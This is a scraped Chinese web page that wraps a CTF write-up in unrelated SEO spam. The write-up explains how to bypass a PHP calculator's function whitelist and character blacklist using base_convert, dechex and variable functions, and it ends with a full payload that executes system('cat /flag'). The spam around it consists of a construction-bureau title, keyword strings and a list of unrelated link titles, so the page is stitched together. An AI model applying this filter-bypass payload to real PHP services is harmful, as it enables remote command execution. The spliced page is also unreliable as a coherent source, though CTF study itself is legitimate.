当前位置: 首页 > news >正文

新乡市建设局网站企业营销策划

新乡市建设局网站,企业营销策划,什么样的网站不备案,传统网站有没有建设必要性这题主要利用了php的一些特性 变量函数数字转字符串 源码 ?php error_reporting(0); //听说你很喜欢数学#xff0c;不知道你是否爱它胜过爱flag if(!isset($_GET[c])){show_source(__FILE__); }else{//例子 c20-1$content $_GET[c];if (strlen($content) 80) {…这题主要利用了php的一些特性 变量函数数字转字符串 源码 ?php error_reporting(0); //听说你很喜欢数学不知道你是否爱它胜过爱flag if(!isset($_GET[c])){show_source(__FILE__); }else{//例子 c20-1$content $_GET[c];if (strlen($content) 80) {die(太长了不会算);}$blacklist [ , \t, \r, \n,\, , , \[, \]];foreach ($blacklist as $blackitem) {if (preg_match(/ . $blackitem . /m, $content)) {die(请不要输入奇奇怪怪的字符);}}//常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp$whitelist [abs, acos, acosh, asin, asinh, atan2, atan, atanh, base_convert, bindec, ceil, cos, cosh, decbin, dechex, decoct, deg2rad, exp, expm1, floor, fmod, getrandmax, hexdec, hypot, is_finite, is_infinite, is_nan, lcg_value, log10, log1p, log, max, min, mt_getrandmax, mt_rand, mt_srand, octdec, pi, pow, rad2deg, rand, round, sin, sinh, sqrt, srand, tan, tanh];preg_match_all(/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/, $content, $used_funcs); foreach ($used_funcs[0] as $func) {if (!in_array($func, $whitelist)) {die(请不要输入奇奇怪怪的函数);}}//帮你算出答案eval(echo .$content.;); }该php的功能是数值计算数值计算可以使用指定的php数学函数数学函数由 http://www.w3school.com.cn/php/php_ref_math.asp这个链接的函数来指定 该题采用了黑名单和白名单的方式来过滤 思路 这里采用可变字符来执行函数 $_GET[a]($_GET[b])但是_GET会被白名单检测这里需要绕过白名单 这里将 _GET16进制编码 得到5f474554 这样我们就可以通过 hex2bin将5f474554转换为_GET # dechex(1598506324) - 5f474554 hex2bin(dechex(1598506324))同样hex2bin并不在白名单中但是白名单中有一个函数可以利用就是 base_convert base_convert base_convert(string $num, int $from_base, int $to_base): string接收一个字符串数字并且指定进制转换,from_base和to_base都只能在 2 和 36 之间包括 2 和 36,高于十进制的数字用字母 a-z 表示 什么意思呢 这里举个例子 echo base_convert(a37334, 16, 2);这里16指示 a37334是一串16进制字符串要转换为2进制 base_convert最高可以支持36进制什么意思呢 10 - a 11 - b 12 - c ... 17 - h 一直到z 也就是说我们只需要在10进制转换成36进制得出hex2bin即可 base_convert(hex2bin,36,10); base_convert(37907361743,10,36);执行$_GET $pibase_convert(37907361743,10,36)(dechex(1598506324)) # _GET$$g 代表 $_GET 由于 []被黑名单禁用所以这里使用 {} 取键来执行版本 php8 payload ?c$pibase_convert(37907361743,10,36)(dechex(1598506324));$$pi{0}($$pi{1})0system1cat /flag
http://www.yutouwan.com/news/459055/

相关文章:

  • 免费做暧暧网站湛江招聘网
  • 大学社团网站建设郑州网络推广招聘
  • 楚雄网站开发rewlkj不用代码做交互式网站
  • 卓成建设集团有限公司网站嘉兴网站建设推广
  • 墓地网站建设价格哈尔滨做网站
  • 诸城做网站建设的网站建设好的
  • 网站优化效果怎么样天猫关键词排名怎么控制
  • php建站软件哪个好网页设计与制作实训报告结果
  • 做淘客网站的公司wordpress图片文件夹
  • 做画册的国外网站电话开发网站建设话术
  • 四川省建设网站评标专家考试asp网站开发需要的基本条件
  • 网站建设报价单 下载福州公司网站建设_
  • 做二手房又做网站的图木舒克市建设局网站
  • 网站开发感受专业的做网站的
  • 网站建设与管理专业介绍重庆短视频制作公司排名
  • 深圳网站设计服务找哪家陕西外贸英文网站建设
  • 虚拟主机可以做视频网站嘛为什么网站后台编辑不了
  • 网站开发与运用个人网页设计作品模板简单
  • 鞍山市城市建设网站网站被降权怎么恢复
  • 苏州网站建设排行58网站一起做网店
  • 佛山网站建设制作济南阿里科技网站建设有限公司
  • 厦门logo设计公司杭州百度首页优化
  • 台州黄岩做网站宣传渠道有哪些
  • 网站表格代码wordpress手机端显示pc端
  • 旅游网站建设的建议北京专业网站建设大全
  • 宁波网站建设方案联系方式wordpress 管理密码
  • wordpress淘宝客网站运营wordpress评论去除
  • 营销型网站页面布局app下载网址进入
  • 做外贸什么网站好千万不要进住建局
  • 曲阜网站建设公司襄阳注册公司